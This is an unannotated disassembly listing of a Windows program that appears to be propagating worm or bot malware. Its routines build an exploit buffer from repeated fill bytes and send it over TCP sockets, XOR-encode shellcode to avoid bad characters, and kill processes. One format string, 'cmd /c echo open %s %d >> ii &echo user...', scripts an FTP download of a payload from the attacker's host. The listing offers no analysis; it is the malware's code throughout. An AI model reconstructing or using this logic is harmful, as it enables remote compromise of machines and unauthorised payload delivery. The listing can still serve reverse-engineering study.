arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424760 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424790 proc near ; CODE XREF: sub_4017CBj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_4247A4 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4247A4: ; CODE XREF: sub_424790+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_444BA4 lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424790 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_401EABj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_4014FB test al, al jnz short loc_42481C pop esi retn 8 ; --------------------------------------------------------------------------- loc_42481C: ; CODE XREF: sub_424800+16j mov ecx, esi call sub_4017CB pop esi retn 8 sub_424800 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401BEAj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424C15 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424C15 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_444840 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_444848 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B68 lea ecx, [esp+864h+var_830] call sub_4017CB mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B68 push offset loc_444BC8 lea ecx, [esp+868h+var_810] call sub_402036 lea ecx, [esp+864h+var_810] call sub_401B68 mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401834 lea ecx, [esp+864h+var_808] call sub_401B68 mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EAB lea ecx, [esp+864h+var_808] call sub_4016B8 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402036 push 4 push offset dword_44484C lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B68 mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_4014FB mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_4014FB lea ecx, [esp+864h+var_820] call sub_4017CB lea ecx, [esp+864h+var_848] call sub_4016B8 lea ecx, [esp+864h+var_810] call sub_4016B8 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_4014FB mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_4014FB mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_4014FB lea ecx, [esp+864h+var_828] call sub_4017CB lea ecx, [esp+864h+var_840] call sub_4016B8 lea ecx, [esp+864h+var_830] call sub_4016B8 lea ecx, [esp+864h+var_820] call sub_4016B8 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B68 push 2 push offset dword_444BBC lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_4014FB lea ecx, [esp+864h+var_838] call sub_4017CB lea ecx, [esp+864h+var_828] call sub_4016B8 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016B8 push offset dword_444BB8 lea ecx, [esp+868h+var_858] call sub_402036 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_443E90 lea ecx, [esp+868h+var_850] call sub_402036 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016B8 push offset dword_444BAC lea ecx, [esp+868h+var_858] call sub_402036 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_444BA8 lea ecx, [esp+868h+var_818] call sub_402036 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4016B8 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424C15: ; CODE XREF: sub_424840+1Ej ; sub_424840+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424D40 proc near ; CODE XREF: sub_401AB4j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 call near ptr 71AB2DC0h nop cmp eax, 1 jz short loc_424DA9 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DA9: ; CODE XREF: sub_424D40+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_436F60 sub_424D40 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424DC0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DC0: ; CODE XREF: ___:00424DB6j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi nop call near ptr 71AB615Ah pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi call near ptr 71AB2BC0h nop mov edi, [esp+0Ch+arg_0] mov ebx, dword_50FC8C mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424E53 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424E53: ; CODE XREF: sub_424E20+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424E20 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E90 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424EC3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E90+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_4448DC shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_444854 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_44490C mov [ebx+31h], eax mov ecx, dword_444910 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_50E140 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_50E144 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_424F68 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424F68: ; CODE XREF: sub_424E90+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AB4 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_424FA3 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424E90+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AB4 push ebx nop call near ptr 77C2C21Bh add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424E90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425020 proc near ; CODE XREF: sub_401811j var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = word ptr -410h var_40E = word ptr -40Eh var_40A = dword ptr -40Ah var_406 = dword ptr -406h var_402 = word ptr -402h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 41Ch mov ecx, 0FFh xor eax, eax push ebp push esi push edi lea edi, [esp+428h+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_444A80 lea edi, [esp+428h+var_400] rep movsd movsw mov ecx, offset byte_447551 movsb call sub_4017E4 push eax mov ecx, offset byte_447551 call sub_4017E4 mov ecx, [esp+42Ch+arg_0] push eax mov eax, dword_44768F push eax push ecx call sub_401DF7 add esp, 4 lea edx, [esp+434h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx nop call near ptr 77C3FA76h add eax, 90h lea ecx, [esp+444h+var_418] push eax lea eax, [esp+448h+var_400] push eax push 164h push offset sub_444918 push ecx call sub_401BEA mov eax, [esp+458h+var_414] xor edi, edi add esp, 30h cmp eax, edi jnz short loc_4250C9 xor eax, eax pop edi pop esi pop ebp add esp, 41Ch retn ; --------------------------------------------------------------------------- loc_4250C9: ; CODE XREF: sub_425020+9Bj mov ebp, dword_50FC2C mov [esp+428h+var_41C], edi loc_4250D3: ; CODE XREF: sub_425020+158j test edi, edi jnz loc_42517E push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_425161 mov eax, [esp+428h+arg_9E] xor edx, edx mov dword ptr [esp+428h+var_40E], edx push eax mov [esp+42Ch+var_40A], edx mov [esp+42Ch+var_410], 2 mov [esp+42Ch+var_406], edx mov [esp+42Ch+var_402], dx call ebp ; ntohs lea ecx, [esp+428h+arg_4] mov [esp+428h+var_40E], ax push ecx nop call near ptr 71AB2BF4h lea edx, [esp+428h+var_410] push 10h push edx push esi mov [esp+28h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_425156 mov eax, [esp+428h+var_414] mov ecx, [esp+428h+var_418] push eax push ecx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_425156: ; CODE XREF: sub_425020+11Aj push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_42516C loc_425161: ; CODE XREF: sub_425020+CCj push 3E8h nop call near ptr 28302E5h loc_42516C: ; CODE XREF: sub_425020+13Fj mov eax, [esp+428h+var_41C] inc eax cmp eax, 2 mov [esp+428h+var_41C], eax jl loc_4250D3 loc_42517E: ; CODE XREF: sub_425020+B5j lea ecx, [esp+428h+var_418] call sub_4016B8 test edi, edi jz short loc_4251AE sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E4h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_4251AE: ; CODE XREF: sub_425020+169j pop edi pop esi mov eax, 1 pop ebp add esp, 41Ch retn sub_425020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425230 proc near ; CODE XREF: sub_4013C5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_425230 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425270 proc near ; CODE XREF: sub_40178Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013C5 mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_425295 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_425270+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_444CA8 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_444D0C, ecx lea ecx, [eax+1] mov dword_444D2D, ecx lea ecx, [eax+17h] mov dword_444D25, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_444D3B, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_444D1C lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_444D20 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_444D21 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_444D25 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_444D29 mov [ecx+8], esi mov esi, dword_444D2D mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_444D31 rep movsd pop edi pop ebp pop esi pop ebx retn sub_425270 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253E0 proc near ; CODE XREF: sub_402162j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013C5 push eax call sub_4017BC add esp, 0Ch retn sub_4253E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_425410: ; CODE XREF: ___:00401735j push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402162 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_425433 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: ___:0042542Bj cmp eax, 0FFFFh jbe short loc_425440 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: ___:00425438j push esi push edi push ebx call sub_4013C5 add eax, 101h push eax nop call near ptr 77C2C407h add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013C5 add esp, 8 push eax push esi call sub_40178A push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B77 push esi mov edi, eax call near ptr 77C2C21Bh nop add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254B0 proc near ; CODE XREF: sub_4017BCj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4254B9 inc ecx loc_4254B9: ; CODE XREF: sub_4254B0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4254B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254E0 proc near ; CODE XREF: sub_401B77j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4254F8 cmp bl, 0Dh jz short loc_4254F8 cmp bl, 5Ch jz short loc_4254F8 test bl, bl jnz short loc_4254F9 loc_4254F8: ; CODE XREF: sub_4254E0+8j ; sub_4254E0+Dj ... inc ebx loc_4254F9: ; CODE XREF: sub_4254E0+16j cmp ebx, 0FFh jbe short loc_42551C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_425516 cmp al, 0Dh jz short loc_425516 cmp al, 5Ch jz short loc_425516 test al, al jnz short loc_42551C loc_425516: ; CODE XREF: sub_4254E0+28j ; sub_4254E0+2Cj ... add ebx, 100h loc_42551C: ; CODE XREF: sub_4254E0+1Fj ; sub_4254E0+34j push ebx call sub_4017BC mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_425535 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425535: ; CODE XREF: sub_4254E0+4Fj cmp eax, 0FFFFh jbe short loc_425540 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425540: ; CODE XREF: sub_4254E0+5Aj mov al, byte_50E148 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_425570 loc_425551: ; CODE XREF: sub_4254E0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_425567 cmp cl, 0Ah jz short loc_425567 cmp cl, 0Dh jz short loc_425567 cmp cl, 5Ch jnz short loc_42556B loc_425567: ; CODE XREF: sub_4254E0+76j ; sub_4254E0+7Bj ... inc al xor edx, edx loc_42556B: ; CODE XREF: sub_4254E0+85j inc edx cmp edx, ebx jb short loc_425551 loc_425570: ; CODE XREF: sub_4254E0+6Fj cmp ebx, 0FFh push edi mov byte_50E148, al ja short loc_4255A3 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C90 mov edi, edx mov byte_444C9D, bl mov byte_444CA1, al rep movsd movsb mov esi, 15h jmp short loc_4255C9 ; --------------------------------------------------------------------------- loc_4255A3: ; CODE XREF: sub_4254E0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C78 mov edi, edx mov word_444C86, bx mov byte_444C8B, al rep movsd movsw movsb mov esi, 17h loc_4255C9: ; CODE XREF: sub_4254E0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4255DF add esi, edx loc_4255D2: ; CODE XREF: sub_4254E0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4255D2 loc_4255DF: ; CODE XREF: sub_4254E0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4254E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425640 proc near ; CODE XREF: sub_401E24j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_4491DF[eax*4], ecx mov dword_4491CB[eax*4], ecx mov dword_4491CF[eax*4], ecx mov dword_4491D3[eax*4], ecx mov dword_4491D7[eax*4], ecx mov dword_4491DB[eax*4], ecx mov byte_448FCB[eax*4], cl mov byte_4491E3[eax*4], cl retn sub_425640 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4256B0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_425767 cmp ecx, 400h jge loc_425767 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_4491DF[esi*4] push eax nop call near ptr 2760AB6h cmp dword_4491DF[esi*4], ebx jz short loc_4256F8 mov ebp, 1 loc_4256F8: ; CODE XREF: sub_4256B0+41j mov dword_4491DF[esi*4], ebx mov dword_4491CB[esi*4], ebx mov dword_4491CF[esi*4], ebx mov eax, dword_4491D3[esi*4] cmp eax, ebx jbe short loc_425721 push eax call sub_401C6C add esp, 4 loc_425721: ; CODE XREF: sub_4256B0+66j mov edi, dword_50FC88 mov dword_4491D3[esi*4], ebx mov byte_448FCB[esi*4], bl mov byte_4491E3[esi*4], bl mov ecx, dword_4491D7[esi*4] push ecx call edi ; closesocket mov dword_4491D7[esi*4], ebx mov edx, dword_4491DB[esi*4] lea esi, ds:4491DBh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_425767: ; CODE XREF: sub_4256B0+Cj ; sub_4256B0+18j mov eax, ebp pop ebp pop ebx retn sub_4256B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257A0 proc near ; CODE XREF: sub_401D93j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_4491CF loc_4257B1: ; CODE XREF: sub_4257A0+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_4257E5 test ebx, ebx jle short loc_4257D7 cmp [esi], ebx jz short loc_4257C8 cmp edi, ebx jnz short loc_4257E5 loc_4257C8: ; CODE XREF: sub_4257A0+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 jmp short loc_4257E4 ; --------------------------------------------------------------------------- loc_4257D7: ; CODE XREF: sub_4257A0+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 loc_4257E4: ; CODE XREF: sub_4257A0+35j inc ebp loc_4257E5: ; CODE XREF: sub_4257A0+1Aj ; sub_4257A0+26j ... add esi, 234h inc edi cmp esi, offset byte_4D61CF jl short loc_4257B1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4257A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425820 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2780000h mov esi, eax test esi, esi jz short loc_425855 push 0 push esi nop call near ptr 2700000h test eax, eax jnz short loc_425855 push esi xor edi, edi nop call near ptr 2840000h loc_425855: ; CODE XREF: sub_425820+1Dj ; sub_425820+2Aj mov eax, edi pop edi pop esi retn sub_425820 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425870 proc near ; CODE XREF: sub_401483j arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_4491CB loc_42587B: ; CODE XREF: sub_425870+1Cj cmp [ecx], edx jnz short loc_425880 inc eax loc_425880: ; CODE XREF: sub_425870+Dj add ecx, 234h cmp ecx, offset byte_4D61CB jl short loc_42587B retn sub_425870 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258A0 proc near ; CODE XREF: sub_401D8Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_4491CB loc_4258AE: ; CODE XREF: sub_4258A0+1Fj cmp [ecx], edx jz short loc_4258C3 add ecx, 234h inc eax cmp ecx, offset byte_4D61CB jl short loc_4258AE mov eax, esi loc_4258C3: ; CODE XREF: sub_4258A0+10j pop esi retn sub_4258A0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258E0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_448FCB loc_4258E8: ; CODE XREF: sub_4258E0+18j cmp byte ptr [eax], 0 jz short loc_4258FE add eax, 234h inc edi cmp eax, offset dword_4D5FCB jl short loc_4258E8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_4258FE: ; CODE XREF: sub_4258E0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:448FCBh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi nop call near ptr 77C47A90h mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_4258E0 endp ; 